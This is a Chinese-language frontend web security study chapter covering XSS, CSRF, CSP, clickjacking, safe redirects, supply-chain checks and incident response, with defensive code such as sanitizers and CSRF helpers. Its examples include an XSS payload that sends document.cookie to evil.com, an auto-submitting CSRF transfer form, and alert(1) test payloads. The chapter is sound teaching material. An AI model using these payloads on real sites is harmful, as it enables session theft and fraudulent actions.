12 安全
  ├─ 前置：01 HTML（解析）、05 浏览器（同源/存储）、10 网络（CORS/Cookie）
  ├─ 紧接：13 测试（安全测试）、18 可观测（异常检测）
  ├─ 交叉：09 构建（供应链）、14 BFF（服务端防线）
  └─ 长期：17 架构（安全架构与合规）

// ❌ 直接拼接用户输入
commentList.innerHTML = `<div class="comment">${userInput}</div>`;

// 攻击者输入：
// <img src=x onerror="fetch('https://evil.com?c='+document.cookie)">

// DOM 型：数据从 URL 进入，直接被写入
const keyword = new URLSearchParams(location.search).get('q');
result.innerHTML = `搜索：${keyword}`; // ❌ 可注入

/**
 * 按 HTML 文本上下文转义。
 * 注意：这只适用于「文本节点」，不能用于属性、URL、JS 上下文。
 * @param {string} input 不可信字符串
 * @returns {string} 转义后的字符串
 */
export function escapeHtml(input) {
  const map = { '&': '&amp;', '<': '&lt;', '>': '&gt;', '"': '&quot;', "'": '&#39;' };
  return String(input).replace(/[&<>"']/g, (ch) => map[ch]);
}

/**
 * 安全的站内跳转：只允许相对路径，拒绝 // 与伪协议。
 * @param {string} target 用户提供的地址
 * @param {string} fallback 兜底地址
 */
export function safeRedirect(target, fallback = '/') {
  if (!target) return fallback;
  if (!target.startsWith('/') || target.startsWith('//')) return fallback;
  if (/^\/\\/.test(target)) return fallback; // 处理 /\evil.com
  return target;
}

import DOMPurify from 'dompurify';

/**
 * 富文本消毒：只保留安全标签与属性，链接强制加 rel。
 * 说明：DOMPurify 依赖浏览器解析器，行为比正则可靠。
 * @param {string} dirty 不可信 HTML
 * @returns {string} 安全 HTML
 */
export function sanitizeRichText(dirty) {
  const clean = DOMPurify.sanitize(dirty, {
    ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'u', 'ul', 'ol', 'li', 'a', 'code', 'pre', 'blockquote'],
    ALLOWED_ATTR: ['href', 'title', 'rel', 'target'],
    ALLOWED_URI_REGEXP: /^(?:https?|mailto):/i,
    FORBID_TAGS: ['style', 'script', 'iframe', 'object', 'embed', 'form', 'input'],
    FORBID_ATTR: ['style', 'srcset', 'onerror', 'onload'],
  });

  // 二次加固：所有外链加 noopener，避免 window.opener 被劫持
  const doc = new DOMParser().parseFromString(clean, 'text/html');
  doc.querySelectorAll('a[href]').forEach((a) => {
    a.setAttribute('rel', 'noopener noreferrer nofollow');
    a.setAttribute('target', '_blank');
  });
  return doc.body.innerHTML;
}

// 1) 用无害 payload 自测（不要在生产环境执行）
const payloads = [
  '<img src=x onerror=alert(1)>',
  '"><svg onload=alert(1)>',
  'javascript:alert(1)',
  '<a href="javascript:alert(1)">x</a>',
];

// 2) 检查页面里是否存在未转义的注入点
document.querySelectorAll('[onerror],[onload]').length;

1. 用户登录 bank.com，浏览器存了 Cookie（HttpOnly，JS 读不到）
2. 用户在同一浏览器访问 evil.com
3. evil.com 自动提交表单到 bank.com/transfer
        <form action="https://bank.com/transfer" method="POST">
          <input name="to" value="attacker">
          <input name="amount" value="10000">
        </form>
        <script>document.forms[0].submit()</script>
4. 浏览器自动带上 bank.com 的 Cookie
5. 服务端认为「是本人操作」，转账成功

请求发起方：evil.com
目标：      bank.com
Cookie 是否携带？取决于：
  ├─ Domain/Path 是否匹配
  ├─ Secure 是否满足
  └─ SameSite 是否允许跨站

/**
 * 双提交 Cookie：服务端把随机 token 同时写入 Cookie 与响应体/页面，
 * 前端读取后放进请求头，服务端比对两者。
 * 攻击者能发起请求，但读不到 Cookie（同源策略），也设不了自定义头。
 */
export async function postWithCsrf(url, body) {
  const token = document.cookie
    .split('; ')
    .find((row) => row.startsWith('csrf_token='))
    ?.split('=')[1];

  return fetch(url, {
    method: 'POST',
    credentials: 'include',
    headers: {
      'Content-Type': 'application/json',
      'X-CSRF-Token': token ?? '',
    },
    body: JSON.stringify(body),
  });
}

Set-Cookie: __Host-csrf_token=abc123; Secure; Path=/; SameSite=Lax

/**
 * 服务端兜底：只接受来自白名单 Origin 的写请求。
 * 注意：部分请求可能没有 Origin（如旧客户端），需结合 Token。
 * @param {Request} req
 */
export function assertSameOrigin(req) {
  const origin = req.headers.get('origin');
  const allowed = new Set(['https://app.example.com', 'https://admin.example.com']);
  if (!origin || !allowed.has(origin)) {
    throw new Error('非法来源');
  }
}

凡是被浏览器执行/渲染的东西，用户都能看到。
打包产物、环境变量、源码注释、接口地址、密钥——全部可见。

❌ 「密码 RSA 加密后再传，就安全了」
   → 公钥在前端可见，密文可被重放；中间人仍能劫持会话
✅ HTTPS + 服务端加盐哈希（bcrypt / argon2 / scrypt）

❌ 「数据 Base64 了，用户看不懂」
   → 编码不是加密，一行代码就能还原

❌ 「把接口参数签名放在前端，就防篡改」
   → 签名密钥在前端可见，攻击者可自己签名

/**
 * 上报前脱敏：手机号、邮箱、身份证只保留可识别片段。
 * @param {Record<string, unknown>} data
 */
export function maskSensitive(data) {
  const text = JSON.stringify(data);
  return text
    .replace(/(1[3-9]\d)\d{4}(\d{4})/g, '$1****$2')
    .replace(/([\w.+-]{1,2})[\w.+-]*(@[\w-]+\.[\w.]+)/g, '$1***$2')
    .replace(/(\d{6})\d{8}(\d{4})/g, '$1********$2');
}

<!-- HTTPS 页面里加载 HTTP 资源会被浏览器拦截 -->
<script src="http://cdn.example.com/lib.js"></script> <!-- 被拦 -->

Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

1. 先设 max-age=300（5 分钟）验证
2. 逐步提升到 1 天、1 个月、1 年
3. 最后才考虑 preload（进入浏览器内置列表，几乎不可逆）

Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'nonce-r4nd0m' https://cdn.example.com;
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https:;
  connect-src 'self' https://api.example.com wss://ws.example.com;
  frame-src 'self' https://pay.example.com;
  frame-ancestors 'none';
  base-uri 'self';
  form-action 'self';
  object-src 'none';
  upgrade-insecure-requests;

<!-- 服务端每次响应生成新 nonce，并写进 CSP 头 -->
<script nonce="r4nd0m">/* 允许执行 */</script>
<script src="/app.js" nonce="r4nd0m"></script>

第 1 周：Content-Security-Policy-Report-Only，收集违规
第 2–3 周：按指令聚合违规，修内联脚本、补白名单、处理第三方
第 4 周：小流量强制（按域名/用户分桶）
第 5 周：全量强制，保留 report-uri 监控

Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self'; report-uri /csp-report

/**
 * 前端也能监听违规（部分浏览器支持），便于本地调试。
 * 生产环境建议用 report-uri/report-to 由服务端收集。
 */
document.addEventListener('securitypolicyviolation', (e) => {
  console.warn('[CSP]', {
    blocked: e.blockedURI,
    directive: e.violatedDirective,
    disposition: e.disposition,
  });
});

Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: camera=(), microphone=(), geolocation=()
Cross-Origin-Opener-Policy: same-origin
Cross-Origin-Embedder-Policy: require-corp
Cross-Origin-Resource-Policy: same-origin

Set-Cookie: __Host-sid=abc; HttpOnly; Secure; SameSite=Lax; Path=/; Max-Age=3600

攻击者页面
┌──────────────────────────────┐
│  「恭喜中奖，点击领取」        │
│  ┌────────────────────────┐  │
│  │  真实站点（透明 iframe） │  │
│  │  [确认转账] 按钮        │  │
│  └────────────────────────┘  │
└──────────────────────────────┘
用户以为点的是「领取」，实际点到 iframe 里的「确认」

X-Frame-Options: DENY
Content-Security-Policy: frame-ancestors 'none'

<iframe
  src="https://widget.example.com"
  sandbox="allow-scripts"
  referrerpolicy="no-referrer"
  loading="lazy"
  title="第三方组件"
></iframe>

/**
 * 发送：必须指定目标源，不要用 '*'。
 * @param {Window} target 目标窗口
 * @param {object} data 数据（结构化克隆）
 */
targetWindow.postMessage({ type: 'ORDER_CREATED', id: '123' }, 'https://app.example.com');

/**
 * 接收：必须校验 origin 与数据结构。
 */
window.addEventListener('message', (event) => {
  if (event.origin !== 'https://app.example.com') return;
  const data = event.data;
  if (typeof data !== 'object' || data?.type !== 'ORDER_CREATED') return;
  handleOrder(data.id);
});

// ❌ 直接跳转用户传入的地址
location.href = params.get('redirect');

// ✅ 白名单 + 只允许站内相对路径
function safeRedirect(target, fallback = '/') {
  if (!target) return fallback;
  if (!target.startsWith('/') || target.startsWith('//')) return fallback;
  if (target.includes('\\')) return fallback; // 处理 /\evil.com
  try {
    const url = new URL(target, location.origin);
    if (url.origin !== location.origin) return fallback;
    return url.pathname + url.search + url.hash;
  } catch {
    return fallback;
  }
}

# 安装时禁用生命周期脚本，避免 postinstall 执行
pnpm install --frozen-lockfile --ignore-scripts

# 审计生产依赖
pnpm audit --prod

<script
  src="https://cdn.example.com/sdk-1.2.3.min.js"
  integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8w"
  crossorigin="anonymous"
></script>

1. 准入：登记负责人、用途、域名、体积预算、数据范围
2. 加载：async/defer，延后到首屏后；能按需加载就不首屏加载
3. 隔离：能放 iframe 就放 iframe（sandbox）；同页执行的限定命名空间
4. 监控：加载失败率、长任务占比、错误归属、外发请求域名
5. 退出：独立开关，能不发版直接下线

/**
 * 前端只做「体验层」校验，服务端必须重复校验。
 * @param {File} file
 */
export function validateUpload(file) {
  const ALLOWED = new Set(['image/png', 'image/jpeg', 'image/webp']);
  const MAX_SIZE = 5 * 1024 * 1024;

  if (!ALLOWED.has(file.type)) throw new Error('不支持的文件类型');
  if (file.size > MAX_SIZE) throw new Error('文件过大');
  if (file.name.includes('..')) throw new Error('非法文件名');
  return true;
}

Content-Type: image/webp
Content-Disposition: attachment; filename="a1b2c3.webp"
X-Content-Type-Options: nosniff

第 1 层：输入校验（长度、格式、类型）——减少恶意数据入库
第 2 层：输出编码（按上下文：HTML/属性/URL/JS）
第 3 层：消毒（富文本白名单）
第 4 层：CSP（限制执行）
第 5 层：HttpOnly（Cookie 不可读）
第 6 层：Trusted Types（API 层禁止字符串注入）
第 7 层：监控（CSP 报告、异常请求）

/**
 * 开启 require-trusted-types-for 'script' 后，
 * 直接给 innerHTML 赋值字符串会抛 TypeError，必须经过策略。
 */
const policy = trustedTypes.createPolicy('default', {
  /**
   * @param {string} input 不可信 HTML
   * @returns {TrustedHTML}
   */
  createHTML: (input) => DOMPurify.sanitize(input),
});

el.innerHTML = policy.createHTML(userInput);

Content-Security-Policy: require-trusted-types-for 'script'; trusted-types default

1. 先开 Report-Only，收集违反点（不阻断）
2. 按模块改造，优先处理用户输入相关
3. 为第三方库创建专用策略（明确允许的 sanitizer）
4. 最后强制，保留上报

/**
 * 服务端校验示例（伪代码）：固定算法 + 完整声明校验。
 * 不要把 decode 当成 verify。
 */
const payload = jwt.verify(token, publicKey, {
  algorithms: ['RS256'],
  audience: 'https://api.example.com',
  issuer: 'https://auth.example.com',
  clockTolerance: 5,
});

1. 前端生成 code_verifier，计算 code_challenge = SHA256(verifier)
2. 跳转授权服务器：response_type=code & code_challenge=... & state=...
3. 用户登录并同意，回跳 redirect_uri?code=...&state=...
4. 前端校验 state，拿 code + verifier 换 token
5. 用 access_token 调资源接口；用 id_token 获取身份（校验签名/iss/aud/nonce）

// ❌ 服务端直接请求用户提供的 URL
app.get('/proxy', async (req, res) => {
  const data = await fetch(req.query.url); // 可请求 169.254.169.254 元数据
  res.send(data);
});

用户 A 登录后，接口返回自己的订单
A 把 URL 里的 orderId 改成 B 的
接口直接按 id 查询，没有校验归属 → 看到 B 的订单

# 生成 SBOM（CycloneDX），回答「我们有没有用到这个漏洞包」
npx @cyclonedx/cyclonedx-npm --output-file sbom.json

/**
 * CSP 违规上报：既能发现攻击尝试，也能发现自己的配置写错。
 */
document.addEventListener('securitypolicyviolation', (e) => {
  navigator.sendBeacon(
    '/csp-report',
    JSON.stringify({
      blockedURI: e.blockedURI,
      violatedDirective: e.violatedDirective,
      documentURI: e.documentURI,
      disposition: e.disposition,
    })
  );
});

1. 数据从哪来？（用户输入、第三方、内部系统）
2. 谁能改？（前端可改的部分都不能当可信）
3. 改错会怎样？（资金、隐私、可用性、合规）
4. 出事后怎么查？（日志、审计、可回滚）

{
  "rules": {
    "react/no-danger": "error",
    "no-eval": "error",
    "no-implied-eval": "error",
    "no-script-url": "error",
    "no-restricted-syntax": ["error", {
      "selector": "AssignmentExpression[left.property.name='innerHTML']",
      "message": "请使用 textContent 或经过 DOMPurify 消毒"
    }]
  }
}

# CI：密钥扫描与依赖审计
- name: Secret scan
  run: npx gitleaks detect --no-git -v

- name: Dependency audit
  run: pnpm audit --prod --audit-level=high

❌ 「注意 XSS」
✅ 「评论内容渲染必须经过 DOMPurify 白名单消毒（标签白名单见附录 A），
    链接只允许 http/https/mailto，外链加 rel="noopener"；
    验收用例：5 条 payload 均不执行（见测试用例 SEC-101~105）」

1. 埋点上报前检查同意状态（默认不采集）
2. 敏感字段（手机号、身份证、地址）在日志与错误上报中脱敏
3. 提供数据导出与删除能力（含第三方 SDK 的数据）
4. 维护 SDK 清单：名称、用途、收集字段、存储位置、保留时长

/**
 * 同意门控：未同意时不上报任何个性化数据。
 * @param {{analytics: boolean, ads: boolean}} consent
 */
export function createReporter(consent) {
  return {
    /**
     * @param {string} event 事件名
     * @param {Record<string, unknown>} payload 仅允许非敏感字段
     */
    track(event, payload) {
      if (!consent.analytics) return;
      navigator.sendBeacon('/collect', JSON.stringify({ event, payload }));
    },
  };
}

1. 发现：监控告警 / 外部报告 / 用户反馈 / 漏洞平台
2. 止血：下线功能、加 WAF 规则、撤销 token、回滚版本、关开关
3. 定位：日志、CSP 报告、依赖变更记录、访问审计
4. 修复：补丁 + 验证 + 灰度
5. 复盘：时间线、根因、改进项与负责人
6. 加固：规则、门禁、培训、演练

- [ ] 确认影响范围：哪些页面、哪些用户、是否存储型
- [ ] 立即止血：下线入口 / 加过滤 / 开 WAF 规则
- [ ] 吊销会话：强制所有用户重新登录（若 Cookie 可能被窃）
- [ ] 清理脏数据：批量清洗库里的恶意内容
- [ ] 修复根因：编码/消毒/CSP，补测试用例
- [ ] 通知：安全、合规、客服话术
- [ ] 复盘：入口、为何未拦住、如何防止再发

输入：长度限制 + 字符白名单 + 富文本白名单
存储：服务端二次消毒 + 原始内容与展示内容分离
输出：纯文本用 textContent；富文本用 DOMPurify
传输：HTTPS + HttpOnly Cookie + SameSite=Lax + CSRF Token
执行：CSP（nonce + 无 unsafe-inline）+ Trusted Types
上传：类型白名单 + 服务端重编码 + 独立域名 + attachment
监控：CSP 报告 + 异常频率告警

/**
 * 评论渲染：先消毒，再加固链接，最后写入。
 * 注意：即使后端已消毒，前端仍要处理，防止其他客户端绕过。
 * @param {string} html 服务端返回的富文本
 * @param {HTMLElement} container 容器
 */
export function renderComment(html, container) {
  const clean = DOMPurify.sanitize(html, {
    ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'a', 'span'],
    ALLOWED_ATTR: ['href', 'class', 'data-mention'],
    ALLOWED_URI_REGEXP: /^(?:https?|mailto):/i,
  });

  const doc = new DOMParser().parseFromString(clean, 'text/html');
  doc.querySelectorAll('a[href]').forEach((a) => {
    a.rel = 'noopener noreferrer nofollow';
    a.target = '_blank';
  });

  container.replaceChildren(...doc.body.childNodes);
}

/**
 * 删除评论：带 CSRF Token 的写请求，且服务端校验归属。
 * @param {string} id 评论 ID
 */
export async function deleteComment(id) {
  const token = readCookie('__Host-csrf_token');
  const res = await fetch(`/api/comments/${encodeURIComponent(id)}`, {
    method: 'DELETE',
    credentials: 'include',
    headers: { 'X-CSRF-Token': token },
  });
  if (!res.ok) throw new Error('删除失败');
}

/**
 * 纯文本插值：按 HTML 文本上下文转义。
 * @param {string} input
 * @returns {string}
 */
export function escapeHtml(input) {
  const map = { '&': '&amp;', '<': '&lt;', '>': '&gt;', '"': '&quot;', "'": '&#39;' };
  return String(input).replace(/[&<>"']/g, (ch) => map[ch]);
}

/**
 * 富文本净化：白名单标签 + 属性 + 协议。
 * 说明：教学实现，生产建议用 DOMPurify（处理了 mXSS 与命名空间）。
 * @param {string} html 不可信 HTML
 * @returns {string} 安全 HTML
 */
export function sanitize(html) {
  const ALLOWED_TAGS = new Set(['P', 'BR', 'STRONG', 'EM', 'UL', 'OL', 'LI', 'A', 'CODE', 'PRE']);
  const ALLOWED_ATTRS = { A: ['href', 'title', 'rel'] };
  const SAFE_PROTOCOLS = new Set(['http:', 'https:', 'mailto:']);

  const doc = new DOMParser().parseFromString(html, 'text/html');

  const walk = (node) => {
    [...node.children].forEach((el) => {
      if (!ALLOWED_TAGS.has(el.tagName)) {
        el.replaceWith(...el.childNodes); // 保留文字，去掉标签
        return;
      }
      [...el.attributes].forEach((attr) => {
        const allowed = ALLOWED_ATTRS[el.tagName] ?? [];
        if (!allowed.includes(attr.name)) el.removeAttribute(attr.name);
      });
      if (el.tagName === 'A' && el.hasAttribute('href')) {
        try {
          const url = new URL(el.getAttribute('href'), location.origin);
          if (!SAFE_PROTOCOLS.has(url.protocol)) el.removeAttribute('href');
          else el.setAttribute('rel', 'noopener noreferrer');
        } catch {
          el.removeAttribute('href');
        }
      }
      walk(el);
    });
  };

  walk(doc.body);
  return doc.body.innerHTML;
}

/**
 * 监听 CSP 违规并上报，采样避免刷爆日志。
 * @param {{endpoint: string, sampleRate?: number}} options
 * @returns {() => void} 取消监听
 */
export function reportCsp({ endpoint, sampleRate = 0.1 }) {
  const handler = (event) => {
    if (Math.random() > sampleRate) return;
    const payload = {
      blockedURI: event.blockedURI,
      violatedDirective: event.violatedDirective,
      effectiveDirective: event.effectiveDirective,
      documentURI: event.documentURI,
      disposition: event.disposition,
      sample: sampleRate,
    };
    navigator.sendBeacon(endpoint, JSON.stringify(payload));
  };

  document.addEventListener('securitypolicyviolation', handler);
  return () => document.removeEventListener('securitypolicyviolation', handler);
}

/**
 * 只允许站内跳转，拒绝协议相对、反斜杠、伪协议与跨源。
 * @param {string} target 用户输入
 * @param {string} [fallback='/'] 兜底
 */
export function safeRedirect(target, fallback = '/') {
  if (!target) return fallback;
  if (!target.startsWith('/')) return fallback;
  if (target.startsWith('//') || target.includes('\\')) return fallback;
  try {
    const url = new URL(target, location.origin);
    if (url.origin !== location.origin) return fallback;
    return `${url.pathname}${url.search}${url.hash}`;
  } catch {
    return fallback;
  }
}

/**
 * postMessage 封装：发送时锁定目标源，接收时校验来源与结构。
 * @param {Window} target
 * @param {string} origin
 */
export function createChannel(target, origin) {
  return {
    /**
     * @param {{type: string, payload?: unknown}} message
     */
    send(message) {
      target.postMessage(message, origin);
    },
    /**
     * @param {(msg: {type: string, payload?: unknown}) => void} handler
     * @returns {() => void} 取消监听
     */
    listen(handler) {
      const onMessage = (event) => {
        if (event.origin !== origin) return;
        const data = event.data;
        if (!data || typeof data !== 'object' || typeof data.type !== 'string') return;
        handler(data);
      };
      window.addEventListener('message', onMessage);
      return () => window.removeEventListener('message', onMessage);
    },
  };
}